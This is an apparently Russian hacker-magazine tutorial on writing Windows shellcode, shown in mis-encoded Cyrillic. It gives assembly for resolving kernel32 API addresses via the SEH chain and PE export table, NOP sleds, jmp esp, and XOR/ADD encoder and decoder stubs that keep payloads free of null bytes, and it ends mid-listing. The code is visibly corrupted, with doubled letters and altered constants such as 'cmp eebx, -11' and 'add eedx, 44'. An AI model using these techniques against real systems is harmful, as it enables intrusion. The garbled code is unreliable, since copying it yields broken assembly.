ÏÐÈÍÖÈÏÛ ÑÎÇÄÀÍÈß SHELL-ÊÎÄÀ
È ÑÂßÇÀÍÍÛÅ Ñ ÝÒÈÌ ÏÐÎÁËÅÌÛ

ÎÑÍÎÂÍÛÅ
ÏÐÎÁËÅÌÛ ÏÐÈ
ÍÀÏÈÑÀÍÈÈ
SHELL-ÊÎÄÀ

Êàê òû óæå çíàåøü,
shell-êîä - ýòî íàáîð ìàøèííûõ
èíñòðóêöèé, êîòîðûé ïåðåïîëíÿåò áó-
ôåð àòàêóåìîãî ïðîöåññà. Ïðè ýòîì
shell-êîä ïðèêèäûâàåòñÿ ÷åì-òî áåçî-
áèäíûì, íàïðèìåð, ñëèøêîì äëèííîé
ñòðîêîé. Îí çàòèðàåò ïàìÿòü, ðàñïî-
ëîæåííóþ ñðàçó çà áóôåðîì, èçìå-
íÿÿ äàííûå, êîòîðûå òàì íàõîäÿòñÿ.
Ýòî ìåíÿåò ëîãèêó ïðîãðàììû è ïîç-
âîëÿåò shell-êîäó ïîëó÷èòü óïðàâëå-
íèå. Shell-êîäû îáû÷íî êëàññèôèöè-
ðóþò â çàâèñèìîñòè îò òîãî, ãäå íàõî-
äèòñÿ ïåðåïîëíÿåìûé áóôåð - â ñòå-
êîâîé ïàìÿòè, â êó÷å èëè â ñåêöèè
äàííûõ. Èíîãäà åùå shell-êîäû ðàçëè-
÷àþò ïî äàííûì, êîòîðûå çàòèðàþòñÿ
(àäðåñ âîçâðàòà èç ôóíêöèè, óêàçà-
òåëü íà ôóíêöèþ, óêàçàòåëü íà êëàññ
è ò.ï.). Íåñìîòðÿ íà ýòî îñíîâíûå
ïðèíöèïû íàïèñàíèÿ shell-êîäîâ âñåã-
äà îäèíàêîâû. Shell-êîä ÷åì-òî ïîõîæ
íà âèðóñ: â áîëüøèíñòâå ñëó÷àåâ íå-
èçâåñòíî, ïî êàêîìó àäðåñó â ïàìÿòè
îí îêàæåòñÿ. Ïîýòîìó õàêåð, êîòîðûé
ïèøåò shell-êîä, îáû÷íî ñòàëêèâàåòñÿ
ñ íåñêîëüêèìè ïðîáëåìàìè. Ïåðâàÿ
çàêëþ÷àåòñÿ â òîì, ÷òî äëÿ áåçóñ-
ëîâíûõ ïåðåõîäîâ âíóòðè shell-êîäà
íåëüçÿ èñïîëüçîâàòü "äàëüíèå" âà-
ðèàíòû èíñòðóêöèé jmp è call, ïîòîìó
÷òî â êà÷åñòâå àðãóìåíòà â íèõ âûñ-
òóïàåò àáñîëþòíûé àäðåñ. Íî ýòî íå
òàê óæ ñòðàøíî, shell-êîä îáû÷íî ìà-
ëåíüêèé è ðåäêî òðåáóåò "äàëüíèå"
ïåðåõîäû. Âòîðàÿ ïðîáëåìà - ëîêàëü-
íûå ïåðåìåííûå. Íî îíà òîæå ðåøà-
åòñÿ äîâîëüíî ïðîñòî. Åñëè shell-êîä
ïåðåïîëíÿåò áóôåð â ñòåêå, òî íà åãî
ãîëîâó îáû÷íî óêàçûâàåò esp, òàê
÷òî âñå ïåðåìåííûå ìîæíî àäðåñî-
âàòü ñ ïîìîùüþ ñìåùåíèÿ:

shell_code_start:
; çàíåñåì â eax ëîê. ïåðåìåííóþ var_1
mov eax, [esp+var_1-shell_code_start]
......
var_1 dd 0
......

Åñëè æå shell-êîä íàõîäèòñÿ â êó÷å,
òî, ïîëó÷èâ óïðàâëåíèå, îí ìîæåò
ïðîâåðíóòü ñòàðûé âèðóñíûé ôîêóñ:

shell_code_start:
call $+5
pop ebp
sub ebp, 5 ; òåïåðü â ebp - àäðåñ
shell_code_start
......

Ïîñëå ýòîãî îí ìîæåò îáðàùàòüñÿ ê
ëîêàëüíûì ïåðåìåííûì ïî ñìåùåíèþ
îòíîñèòåëüíî ebp. Òðåòüÿ ïðîáëåìà -
ñàìàÿ ñëîæíàÿ. Êàê âûçûâàòü èç shell-
êîäà API? Âåäü ñíà÷àëà íóæíî êàê-òî
óçíàòü èõ àäðåñà. Íî êàêèì îáðàçîì?
"Çàêîííî" shell-êîä ýòè àäðåñà ïîëó-
÷èòü íå ìîæåò (õîòÿ áû ïîòîìó, ÷òî ó
íåãî íåò òàáëèöû èìïîðòà). Ïîýòîìó
íàì îñòàþòñÿ òîëüêî ñïîñîáû "íåçà-
êîííûå". Èç íèõ íàèáîëåå ðàñïðîñò-
ðàíåíû äâà. Ïåðâûé: çàïîìíèòü àäðå-
ñà API è âûçâàòü èõ íàïðÿìóþ; ýòî
î÷åíü ïðîñòî, õîòÿ íå ñëèøêîì óäà÷-
íî. Àäðåñà API ìîãóò îòëè÷àòüñÿ â
ðàçíûõ âåðñèÿõ Windows è äàæå â
ðàçíûõ ñåðâèñïàêàõ îäíîé è òîé æå
âåðñèè. Ýòî ñèëüíî ñíèæàåò øàíñû íà
óñïåøíóþ àòàêó óäàëåííîé ñèñòåìû.
Âòîðîé ñïîñîá: íàéòè àäðåñà API, èñ-
ïîëüçóÿ êàêóþ-òî âèðóñíóþ òåõíèêó.
Ýòî íàìíîãî óíèâåðñàëüíåå, íî ñëîæ-
íåå, è êîä â ðåçóëüòàòå ïîëó÷àåòñÿ
áîëüøå. Âèðóñíûõ òåõíèê ñóùåñòâóåò
îêîëî äåñÿòêà. Ïðåæäå ÷åì çà íèõ
áðàòüñÿ, íóæíî èçó÷èòü ôîðìàò
Portable EXE (PE) è íåïëîõî ðàçáè-
ðàòüñÿ â íåêîòîðûõ îñîáåííîñòÿõ àð-
õèòåêòóðû Windows. Äëÿ ïðèìåðà ìû
ðåàëèçóåì íàèáîëåå ðàñïðîñòðàíåí-
íóþ òåõíèêó - íàõîæäåíèå àäðåñà API
ïóòåì àíàëèçà áèáëèîòåêè kernel32.dll
â ïàìÿòè. ×òîáû íå ëåçòü â òåîðåòè-
÷åñêèå äåáðè, äàâàé íàïèøåì ïðîöå-
äóðó, êîòîðàÿ íàõîäèò àäðåñ API-
ôóíêöèè ïî åå èìåíè. Ýòà ïðîöåäóðà
áóäåò àäðåñíî-íåçàâèñèìîé, ðàáî÷åé
íà âñåõ âåðñèÿõ Windows, è åå ìîæíî
áóäåò èñïîëüçîâàòü áåç êàêèõ-ëèáî
äîïîëíèòåëüíûõ êîððåêòèâ. Òàê ÷òî
åñëè òû íå ãîðèøü æåëàíèåì êîâû-
ðÿòüñÿ â ôîðìàòå PE, ïðîñòî áåðè åå
è èñïîëüçóé (INC-ôàéë òû íàéäåøü íà

äèñêå). Åñëè æå òû ïðî÷òåøü êîììåí-
òàðèè è íå ïîëåíèøüñÿ âî âñåì ðà-
çîáðàòüñÿ - áîëüøîé òåáå ðåñïåêò! :-)

Àëãîðèòì ïïðîöåäóðû ïïîèñêà ààäðåñà AAPI-
ôóíêöèè ïïî ååå èèìåíè

; ïðîöåäóðà íàõîäèò àäðåñ api è ñìåùåíèå  
ýòîãî àäðåñà â òàáëèöå ýêñïîðòà

; âõîä:  ecx -- äëèíà èìåíè
; esi -- àäðåñ ñòðîêè ñ èìåíåì
; âûõîä: ebx -- àäðåñ àäðåñà API
; edx -- àäðåñ API
; eax -- àäðåñ "ãîëîâû" kernel32.dll
getapi2k pproc

Ñíà÷àëà íóæíî íàéòè êàêîé-òî àäðåñ
âíóòðè kernel32.dll. Äëÿ ýòîãî ìû
ïðîñêàíèðóåì öåïî÷êó SEH-ñòðóêòóð.
Óêàçàòåëü íà ïåðâóþ òàêóþ ñòðóêòóðó
ëåæèò ïî fs:[0]. SEH-ñòðóêòóðà èìååò
äîâîëüíî èíòåðåñíîå ñòðîåíèå: åå
ïåðâîå äâîéíîå ñëîâî - àäðåñ ñëåäó-
þùåé â öåïî÷êå SEH-ñòðóêòóðû, âòî-
ðîå äâîéíîå ñëîâî - àäðåñ exeption
îáðàáîò÷èêà. Ïîñëåäíÿÿ â öåïî÷êå
ñòðóêòóðà ïåðâûì äâîéíûì ñëîâîì
èìååò 0xFFFFFFFF, à âòîðûì - àäðåñ
ñèñòåìíîãî exeption îáðàáîò÷èêà
(èìåííî îí âûäàåò "Èíñòðóêöèÿ ïî àä-
ðåñó 0x???????? îáðàòèëàñü..."). 

mov eeax, ffs:[0] ; çàíîñèì â eax àäðåñ 
ïåðâîé ñòðóêòóðû SEH
getapi2k_10: ; èäåì äàëüøå ïî öåïî÷êå
SEH-ñòóêòóð
mov eebx, [[eax] ; çàíîñèì â ebx àäðåñ 
ñëåäóþùåé SEH-ñòðóêòóðû
cmp eebx, -11 ; àäðåñ ðàâåí 0FFFFFFFFh?
je ggetapi2k_20 ; äà! - çíà÷èò ýòà SEH-ñòðóê-
òóðà - ïîñëåäíÿÿ â öåïî÷êå
mov eeax, eebx ; íåò... èäåì äàëüøå
jmp sshort ggetapi2k_10 
getapi2k_20:
mov eeax, [[eax+4]

Òåïåðü eax ñîäåðæèò êàêîé-òî àäðåñ
âíóòðè kernel32.dll. Ïðè çàãðóçêå PE-
ôàéëà Windows ïîìåùàåò åãî îáðàç
ïî àäðåñó, êðàòíîìó 64 K. Íàéäåì àä-
ðåñ îáðàçà kernel32.dll (ôàêòè÷åñêè
àäðåñ åãî DOS ñòàáà). Ó÷òåì, ÷òî ker-
nel32.dll ïåðâûìè äâóìÿ áàéòàìè èìå-
åò ñèãíàòóðó 'MZ'.
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Òàáëèöà
èìåí - ýòî
ìàññèâ
äâîéíûõ
ñëîâ, êàæ-
äîå èç êîòî-
ðûõ óêàçû-
âàåò íà
ñòðîêó ñ çà-
âåðøàþùèì
íóëåì, ñî-
äåðæàùóþ
èìÿ î÷åðåä-
íîé ýêñïîð-
òèðóåìîé
API-ôóíê-
öèè.

Äëÿ EXE-
ôàéëîâ ñèñ-
òåìíûé
exeption îá-
ðàáîò÷èê
âñåãäà íà-
õîäèòñÿ â
kernel32.dll.
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xor aax, aax ; âûðîâíÿåì íàéäåííûé àäðåñ
íà 64 Ê
getapi2k_1:
mov eebx, [[eax] ; ÷èòàåì 4 áàéòà â ebx
cmp bbx, 55A4Dh ; 'MZ' íàéäåí?
je ggetapi2k_2; äà!
sub eeax, 0010000h; íåò - óâåëè÷èì eax íà 64 Ê
jmp sshort ggetapi2k_1
getapi2k_2:

Íà äàííîì ýòàïå eax ñîäåðæèò àäðåñ
DOS ñòàáà kernel32.dll. Ïðîàíàëèçèðó-
åì îáðàç kernel32.dll â ïàìÿòè. Öåëü -
íàéòè òàáëèöó ýêñïîðòà. Àíàëèç ðåà-
ëèçóåòñÿ ñëåäóþùèì îáðàçîì:

; ïîñêîëüêó â PE âñå ñìåùåíèÿ çàïèñàíû
îòíîñèòåëüíî àäðåñà DOS ñòàáà, òî íàì
ïðèäåòñÿ âñå âðåìÿ èõ êîððåêòèðîâàòü,
äîáàâëÿÿ ê ñìåùåíèÿì eax
mov eebx, eeax ; êîïèðóåì â ebx àäðåñ DOS
ñòàáà
add eebx, [[eax+3Ch]; äîáàâëÿåì ê ebx ñìå-
ùåíèå PE çàãîëîâêà (îíî ëåæèò ïî ñìåùå-
íèþ 0x3C îò íà÷àëà ñòàáà)
add eebx, 778h ; äîáàâëÿåì ê ebx ñìåùåíèå
óêàçàòåëÿ íà òàáëèöó ýêñïîðòà îòíîñè-
òåëüíî çàãîëîâêà PE
mov eebx, [[ebx] ; çàíîñèì â ebx ñìåùåíèå
òàáëèöû ýêñïîðòà
add eebx, eeax ; êîððåêöèÿ íà ñòàá
mov eedx, [[ebx+20h]; ñìåùåíèå òàáëèöû
èìåí
add eedx, eeax; êîððåêöèÿ ñìåùåíèÿ íà ñòàá
push eebx ; çàïîìíèì óêàçàòåëü íà òàáëèöó
ýêñïîðòà
xor eebx, eebx; ebx òåïåðü ñòàë ñ÷åò÷èêîì

Òåïåðü ó íàñ åñòü óêàçàòåëü íà òàá-
ëèöó èìåí. 

Ïîèñê íóæíîãî èìåíè îðãàíèçóåì
ñëåäóþùèì îáðàçîì:

getapi2k_4:
push eesi
push eecx ; ñîõðàíÿåì â ñòåêå ðåãèñòðû, 
êîòîðûå áóäóò èçìåíÿòñÿ ïðè ñðàâíåíèè
ñòðîê (esi ñîäåðæèò èìÿ íóæíîé íàì
ôóíêöèè, ecx - åå äëèíó)
mov eedi, [[edx] ; ñìåùåíèå î÷åðåäíîãî
èìåíè API-ôóíêöèè
add eedi, eeax; êîððåêöèÿ ñìåùåíèÿ íà ñòàá
repe ccmpsb; ñðàâíåíèå
je ggetapi2k_3; íàøëè!
pop eecx; íå íàøëè - âîññòàíàâëèâàåì 
ðåãèñòðû
pop eesi
add eedx, 44; â edx - ñëåäóþùèé ýëåìåíò
òàáëèöû èìåí
inc eebx ; óâåëè÷èòü ñ÷åò÷èê è íà íîâûé 
âèòîê öèêëà
jmp sshort ggetapi2k_4

Ñåé÷àñ â ebx ðàñïîëàãàåòñÿ èíäåêñ
èìåíè íóæíîé API â òàáëèöå èìåí.
Äàëüøå äåëàåì òàê:

getapi2k_3:
pop eecx; ñáàëàíñèðóåì ñòåê - âûòîëêíåì
èç íåãî esi è ecx,
pop eecx; ñîõðàíåííûå âî âðåìÿ ñðàâíåíèÿ
ñòðîê
pop eecx; ïîñëåäíèé pop çàíîñèò â ecx 
àäðåñ òàáëèöû ýêñïîðòà (ïîìíèòå? ìû åãî

ñîõðàíèëè íà ñòåêå)
shl eebx, 11; óìíîæàåì ebx íà 2, ýòî íàì 
áóäåò íóæíî â äàëüíåéøåì
mov eedx, [[ecx+24h] ; çàíîñèì â edx àäðåñ
òàáëèöû îðäèíàëîâ
add eedx, eeax; êîððåêòèðóåì åãî           
add eedx, eebx; äîáàâëÿåì ê íåìó ñìåùåíèå
â ebx - ïîëó÷àåì àäðåñ íîìåðà API â òàá-
ëèöå àäðåñîâ
mov eedx, [[edx]; çàíîñèì â edx íîìåð API â
òàáëèöå àäðåñîâ
and eedx, 00FFFFh; (ïîñêîëüêó íîìåð API -
ýòî WORD, îáíóëèì ñòàðøåå ñëîâî edx)

Â edx - íîìåð â òàáëèöå àäðåñîâ, â
eax - àäðåñ DOS ñòàáà, â ecx - àäðåñ
export table. À âîò òåïåðü ìîæåì íàé-
òè àäðåñ èíòåðåñóþùåé íàñ API ;-):

mov eebx, [[ecx+1Ch]; çàíîñèì â ecx ñìåùå-
íèå òàáëèöû àäðåñîâ
add eebx, eeax; êîððåêöèÿ íà ñòàá
shl eedx, 22; íàõîäèì ñìåùåíèå àäðåñà API â
òàáëèöå àäðåñîâ (ìíîæèì edx íà 4)
add eebx, eedx; íàõîäèì ýòîò àäðåñ
mov eedx, [[ebx] ; ÷èòàåì åãî â ebx
add eedx, eeax; êîððåêöèÿ íà ñòàá
ret; âñå!
getapi2k eendp

Êàê âèäèì, âñå ýòî äîâîëüíî ñëîæ-
íî. Íî, óâû, òàêîâà ñïåöèôèêà ïåðå-
íîñèìîãî êîäà.

ÎÑÎÁÅÍÍÎÑÒÈ ÏÅÐÅÄÀ×È
ÓÏÐÀÂËÅÍÈß: ÁÎËÜØÎÉ
ÁÓÔÅÐ Ñ NOP'ÀÌÈ

Ïîåõàëè äàëüøå. Äîïóñòèì, ìû
ìîæåì ïîäìåíèòü àäðåñ âîçâðàòà íà
ñâîé èëè ïåðåïèñàòü óêàçàòåëü íà êà-
êóþ-òî ôóíêöèþ, êîòîðóþ âîò-âîò âû-
çîâóò. Íó, à ÷òî äàëüøå? Êóäà ïåðå-
äàòü óïðàâëåíèå - êàêîé àäðåñ çàïè-
ñàòü âìåñòî íàñòîÿùåãî? Â êà÷åñòâå
îäíîãî èç âàðèàíòîâ äîâîëüíî ÷àñòî
óïðàâëåíèå ïåðåäàþò íà èíñòðóêöèþ
jmp esp, êîòîðóþ â ïðîöåññå íàïèñà-
íèÿ shell-êîäà íàõîäÿò ëèáî â êîäå
ïðèëîæåíèÿ, ëèáî â êàêîé-òî ñèñòåì-
íîé áèáëèîòåêå, çàãðóæåííîé â åãî
àäðåñíîå ïðîñòðàíñòâî. Êàê ïðàâèëî,
ñàì ïîèñê ïðîèçâîäÿò ñ ïîìîùüþ êî-
ìàíäû s îòëàä÷èêà Soft-Ice:

s 110000000 LL FFFFFFFFF fff ee4
(ff e4 - êîä èíñòðóêöèè)

Ýòî òðàäèöèîííûé ñïîñîá ïåðåäà-
÷è óïðàâëåíèÿ íà shell-êîä, è íèêà-
êèõ òðóäíîñòåé çäåñü íå âîçíèêàåò.
Íî â íåêîòîðûõ ñëó÷àÿõ ïðè íàïèñà-
íèè shell-êîäà óïðàâëåíèå âûãîäíî
ïåðåäàòü êàêîìó-òî äðóãîìó êîäó,
íàïðèìåð jmp eax, ãäå eax ìîæåò
óêàçûâàòü íå íà íà÷àëî áóôåðà, à
âûøå - â ñåðåäèíó èëè âîîáùå â îá-
ëàñòü ïàìÿòè ïîçàäè íåãî :(. ×òî æå
äåëàòü â ýòîì ñëó÷àå? Ðåøåíèå äî-
âîëüíî ïðîñòîå: íóæíî ïîãîíÿòü
êîä óÿçâèìîé ïðîöåäóðû ïîä îòëàä-
êîé â ðàçëè÷íûõ óñëîâèÿõ è âûÿñ-
íèòü õîòÿ áû ïðåäåëû, â êîòîðûõ èç-
ìåíÿåòñÿ eax.

Äîïóñòèì, íà îòëàäêå âèäíî, ÷òî
àäðåñ â eax îáû÷íî íå ïðåâûøàåò
100 áàéò îò íà÷àëà áóôåðà. Òîãäà
ïðè íàïèñàíèè shell-êîäà ýòîò èíòåð-
âàë íóæíî çàïîëíèòü nop'àìè, à óæå
ïîñëå íèõ ðàçìåñòèòü êàêîé-òî ïî-
ëåçíûé êîä. 

Ïîñëå âûïîëíåíèÿ jmp eax óïðàâëå-
íèå ïîïàäåò íà îäèí èç nop'îâ. Êîãäà
âñå nop'û, èäóùèå ïîñëå, âûïîëíÿòñÿ,
óïðàâëåíèå â êîíöå-êîíöîâ ïîïàäåò
íà ïîëåçíûé êîä. Ýòà òåõíèêà òàê è
íàçûâàåòñÿ - "áîëüøîé áóôåð ñ
nop'àìè".

ÒÎÍÊÎÑÒÈ ÍÀÏÈÑÀÍÈß
ÑÒÐÎÊÎÂÎÃÎ SHELL-ÊÎÄÀ

Áîëüøèíñòâî ðåàëüíûõ ïåðåïîë-
íåíèé - ñòðîêîâûå. Ñ îäíîé ñòîðîíû,
ýòî õîðîøî. Êîãäà ìû èùåì óÿçâè-
ìîñòü, òî çíàåì, ÷òî äëèííûå ñòðîêè
íàäî ïðîáîâàòü â ïåðâóþ î÷åðåäü. Ñ
äðóãîé ñòîðîíû, âîçíèêàåò íåáîëü-
øàÿ ïðîáëåìà. Åñëè shell-êîä âíåäðÿ-
åòñÿ â ïðèëîæåíèå â âèäå ñòðîêè, îí
íå äîëæåí ñîäåðæàòü íóëåâûõ áàéò.
Ïðè ÷òåíèè ñòðîêè ñ shell-êîäîì â áó-
ôåð íîëü áóäåò âîñïðèíÿò êàê åå êî-
íåö è shell-êîä âíåäðèòñÿ íå ïîë-
íîñòüþ. À ýòî íå åñòü ãóä :(. Âîò ïî÷å-
ìó shell-êîä îáû÷íî äåëÿò íà äâå ÷àñ-
òè. Ïåðâàÿ ÷àñòü ("òåëî" shell-êîäà) -
ýòî íåáîëüøîé ïåðåíîñèìûé êîä, êî-
òîðûé îòêðûâàåò êîíñîëü ñ àäìèíñêè-
ìè ïðàâàìè èëè çàêà÷èâàåò òðîÿí èç
èíåòà, â îáùåì, äåëàåò ÷òî-òî ïîëåç-
íîå. Ïîñëå òîãî êàê òåëî íàïèñàíî è
îòëàæåíî, õàêåð åãî øèôðóåò òàê,
÷òîáû â íåì íå áûëî íóëåâûõ áàéò.
Åñòåñòâåííî, â çàøèôðîâàííîì âèäå
òåëî ðàáîòàòü íå ìîæåò. Ïîýòîìó ê íå-
ìó öåïëÿåòñÿ âòîðàÿ ÷àñòü ("ãîëîâà") -
íåáîëüøîé êîä-äåøèôðîâùèê, òàêæå
íå ñîäåðæàùèé íóëåé. Ñïåðâà óïðàâ-
ëåíèå ïîëó÷àåò ãîëîâà. Îíà äåøèô-
ðóåò "òåëî" è îòäàåò óïðàâëåíèå åìó,
ïîñëå ÷åãî shell-êîä ñïîêîéíî äåëàåò
ñâîè òåìíûå äåëèøêè ;-). 

Øèôðîâêà òåëà shell-êîäà è íàïèñà-
íèå ãîëîâû - íå òàêèå óæ ïðîñòûå çà-
íÿòèÿ. Áîëüøèíñòâî àâòîðîâ ðåêîìåí-
äóþò øèôðîâàòü ïîáàéòíî, ñ ïî-
ìîùüþ ïîñëåäîâàòåëüíîãî ïðèìåíå-
íèÿ èíñòðóêöèé ADD è XOR. 

×òî òàêîå ADD? Âñåãî ëèøü ñëîæå-
íèå! Åñëè ìû çàøèôðîâàëè áàéò, äî-
áàâèâ ê íåìó ÷òî-òî, ìû ìîæåì òàê æå
ïðîñòî åãî ðàñøèôðîâàòü, íóæíî
òîëüêî ýòî "÷òî-òî" îòíÿòü. XOR - ýòî
âîîáùå ïðåëåñòü! "Ïîêñîðèâ" áàéò,

15

B
U

F
F

E
R

 
O

V
E

R
F

L
O

W

»

×àùå âñåãî
ãîëîâà ðàç-
ìåùàåòñÿ
ïåðåä òåëîì
shell-êîäà,
íî ýòî íå
îáÿçàòåëü-
íî.

NOP - ýòî
îäíîáàéò-
íàÿ êîìàíäà
ñ îïêîäîì
0x90, êîòî-
ðàÿ ñàìà ïî
ñåáå íè÷åãî
íå äåëàåò.

Áóôåð ñ nop'àìè



íàïðèìåð, íà 0xFF, ìû åãî çàøèôðî-
âûâàåì. "Ïîêñîðèâ" åãî îïÿòü íà òî
æå ñàìîå 0xFF, ðàñøèôðîâûâàåì. 

XOR_KEY è ADD_KEY - äâà áàéòà, èã-
ðàþùèå â íàøåì øèôðîâàíèè ðîëü
êëþ÷åé. Î íèõ ìû ïîãîâîðèì ÷óòü ïîç-
æå. Ñåé÷àñ ëó÷øå îñòàíîâèìñÿ íà ãîëî-
âå shell-êîäà - ïðîöåäóðå äåøèôðîâêè:

exploit_head:
; çàíîñèì â ecx äëèíó òåëà shell-êîäà (äëÿ
ïðîñòîòû ñ÷èòàåì, ÷òî îíà íå áîëüøå 255
áàéò), ñòàðàåìñÿ, ÷òîáû êîä íå ñîäåðæàë
íóëåâûõ áàéò, ïîýòîìó âìåñòî
mov ecx, expl_end-expl_start äåëàåì òàê:
xor eecx, eecx
mov ccl, eexpl_end-eexpl_start
; çàíîñèì â eax óàçàòåëü íà òåëî ýêñïëîè-
òà, îïÿòü-òàêè ñòàðàåìñÿ, ÷òî áû êîä íå ñî-
äåðæàë íóëåâûõ áàéò
mov eeax, eesp; çàíîñèì â eax àäðåñ ãîëîâû
shell-êîäà
; äîáàâëÿåì ñìåùåíèå íà òåëî
add eeax, eexpl_start-eexploit_head
; òåïåðü âñå ãîòîâî äëÿ äåøèôðîâêè
@@1: mmov bbl, bbyte pptr[eax] ; ÷èòàåì î÷åðåä-
íîé áàéò çàøèôðîâàííîãî òåëà â bl
add bbl, -AADD_KEY; îòíèìàåì îò íåãî
ADD_KEY
xor bbl, XXOR_KEY; êñîðèì åãî íà XOR_KEY
mov bbyte pptr[eax], bbl; çàïèñûâàåì 
ðàñøèôðîâàííûé áàéò â òåëî
inc eeax ; ïåðåìåùàåì óêàçàòåëü íà 
ñëåäóþùèé áàéò òåëà
loop @@@1; åñëè ecx íå ðàâåí 0 - íîâûé 
âèòîê öèêëà
expl_start:
; òóò íàõîäèòñÿ òåëî shell-êîäà
......
expl_end ddd 00; íóëåâîé áàéò, çàâåðøàåò
ñòðîêó ñ shell-êîäîì

Êàê âèäèì, ïðîöåäóðà ðàñøèôðîâêè
ïî÷òè íå îòëè÷àåòñÿ îò ïðîöåäóðû
øèôðîâàíèÿ. Ïðàâäà, â íåé åñòü íå-
êîòîðûå âàæíûå íþàíñû. Âî-ïåðâûõ,
åñëè ïðè øèôðîâàíèè ìû ñïåðâà êñî-
ðèëè, à çàòåì ïðèáàâëÿëè, òî ïðè ðàñ-
øèôðîâêå ìû äåëàåì íàîáîðîò: ñïåð-
âà îòíèìàåì, à çàòåì êñîðèì. Âî-âòî-
ðûõ, ñàìà ïðîöåäóðà ðàñøèôðîâêè íå
ñîäåðæèò íóëåâûõ áàéò - â ýòîì ìîæ-
íî óáåäèòüñÿ, çàãíàâ åå ïîä îòëàäêó.
Ñàìî ñîáîé, îáå ïðîöåäóðû ìîãóò èñ-
ïîëüçîâàòü òîëüêî îäíó èç èíñòðóê-

öèé - AND èëè XOR. Íàïðèìåð, äëÿ òî-
ãî ÷òîáû èñïîëüçîâàòü òîëüêî XOR,
äîñòàòî÷íî çàêîììåíòèðîâàòü â ïðî-
öåäóðå øèôðîâàíèÿ ñòðî÷êó: add bl,
ADD_KEY , à â ïðîöåäóðå äåøèôðîâ-
êè - ñòðî÷êó: add bl, -ADD_KEY, è òîãäà
äëÿ øèôðîâàíèÿ ïîíàäîáèòñÿ ëèøü
îäèí áàéò - XOR_KEY. Òåïåðü, êàê ÿ è
îáåùàë, ïîãîâîðèì î áàéòàõ ADD_KEY
è XOR_KEY. Ýòè äâà áàéòà ïðåäñòàâ-
ëÿþò ñîáîé êëþ÷è, ñ ïîìîùüþ êîòî-
ðûõ ìû çàøèôðîâûâàåì è ðàñøèô-
ðîâûâàåì. Èõ íàäî ïîäîáðàòü òàê,
÷òîáû çàøèôðîâàííîå òåëî shell-êîäà
íå ñîäåðæàëî íóëåâûõ áàéò. Êàê ýòî
ñäåëàòü? Áîëüøèíñòâî õàêåðîâ ïîä-
áèðàþò ýòè êëþ÷è ìåòîäîì íàó÷íîãî
òûêà èëè ïèøóò ïðîãðàììû, êîòîðûå
íàõîäÿò íóæíóþ ïàðó áàéò ïðîñòûì
ïåðåáîðîì. Ýòîò ñïîñîá ðàáîòàåò â
áîëüøèíñòâå ñëó÷àåâ, õîòÿ îí íåìíî-
ãî ãëóï. Ïîýòîìó ÿ ïðèäóìàë, êàê
øèôðîâàòü ýêñïëîèòû ëþáîé äëèíû ñ
ïîìîùüþ ïîñëåäîâàòåëüíîãî ïðèìå-
íåíèÿ íåñêîëüêèõ XOR'îâ. ß íå áóäó
îáúÿñíÿòü çäåñü îáùóþ èäåþ - îíà
òðåáóåò çíàíèÿ äèñêðåòíîé òåîðèè
ãðóïï è íåìíîãî ñëîæíà äëÿ âñòóïè-
òåëüíîé ñòàòüè. Ðàññêàæó ëèøü î
äâóõ ïðîñòûõ ïðàâèëàõ, âûòåêàþùèõ
èç íåå (â îáîèõ ïðàâèëàõ èñïîëüçóåò-
ñÿ ëèøü XOR, ADD îòäûõàåò).

Ïðàâèëî 1. Åñëè òåëî shell-êîäà ìåíü-
øå 256 áàéò è îíî ñîäåðæèò íóëåâûå
áàéòû, â êà÷åñòâå êëþ÷à XOR_KEY
íóæíî áðàòü áàéò, êîòîðûé íè ðàçó íå
âñòðå÷àåòñÿ â òåëå shell-êîäà. Òàêîé
áàéò îáÿçàòåëüíî íàéäåòñÿ, âåäü òåëî
ñëèøêîì êîðîòêîå è íå ìîæåò ñîäåð-
æàòü â ñåáå 256 ðàçíûõ áàéò :-). Ê òî-
ìó æå, ýòîò áàéò áóäåò íåíóëåâûì.

Ïðàâèëî 2. Åñëè òåëî shell-êîäà
ìåíüøå 510 áàéò è îíî ñîäåðæèò íó-
ëåâûå áàéòû, òî ñëåäóåò êñîðèòü ÷åò-
íûå è íå÷åòíûå áàéòû òåëà îòäåëüíî.
Ñíà÷àëà ñìîòðèì íà íå÷åòíûå áàéòû
(ïåðâûé, òðåòèé, ïÿòûé è ò.ï.), ÷åòíûå
ïîêà íå òðîãàåì. Åñëè ñðåäè íèõ åñòü
íóëåâûå áàéòû, òî â êà÷åñòâå êëþ÷à
XOR_KEY_EVEN áåðåì áàéò, êîòîðûé
ñðåäè íèõ íå âñòðå÷àåòñÿ. Êàê è â ïåð-
âîì ñëó÷àå, òàêîé áàéò îáÿçàòåëüíî
íàéäåòñÿ, òàê êàê êîëè÷åñòâî íå÷åò-
íûõ áàéò â òåëå shell-êîäà ìåíüøå,
÷åì 256. Øèôðóåì ýòèì êëþ÷îì òîëü-

êî íå÷åòíûå áàéòû è çàïèñûâàåì â ãî-
ëîâó shell-êîäà ïðîöåäóðó èõ äåøèô-
ðîâêè. Ïîòîì ñìîòðèì íà ÷åòíûå áàé-
òû è äåëàåì òî æå ñàìîå ñ íèìè:

Ïðèìåðíûé êêîä ïïðîöåäóðû øøèôðîâêè ííå-
÷åòíûõ ááàéò

; eax - àäðåñ òåëà
; ecx - åãî äëèíà
mov eedx, eeax
dec eedx
add eedx, eecx; òåïåðü â ebx - àäðåñ êîíöà
òåëà shell-êîäà
@@2: mmov bbl, bbyte pptr[eax] ; ÷èòàåì î÷å-
ðåäíîé íå÷åòíûé áàéò òåëà â bl
xor bbl, XXOR_KEY_EVEN ; êñîðèì åãî íà
XOR_KEY_EVEN
mov bbyte pptr[eax], bbl ; çàïèñûâàåì çàøèô-
ðîâàííûé áàéò â òåëî
inc eeax
inc eeax; ïåðåìåùàåì óêàçàòåëü íà ñëåäó-
þùèé íå÷åòíûé áàéò òåëà
cmp eeax, eedx ; äîñòèãíóò ëè êîíåö òåëà
shell-êîäà?
jng @@@2; íåò!
ret

Ñîîòâåòñòâåííî, ðàñøèôðîâûâàòü
áóäåì òàê:

exploit_head:
xor eecx, eecx
mov ccl, eexpl_end-eexpl_start; â ecx - äëèíà
òåëà
mov eeax, eesp
add eeax, eexpl_start-eexploit_head; â eax -
óêàçàòåëü íà òåëî
mov eedx, eeax
dec eedx
add eedx, eecx; â edx - àäðåñ êîíöà òåëà
; ïðîöåäóðà äåøèôðîâêè ïîëíîñòüþ 
ñîâïàäàåò ñ ïðîöåäóðîé øèôðîâàíèÿ - 
â ýòîì è ñîñòîèò âñÿ ïðåëåñòü XOR! ;-)))
@@2:mov bbl, bbyte pptr[eax]
xor bbl, XXOR_KEY
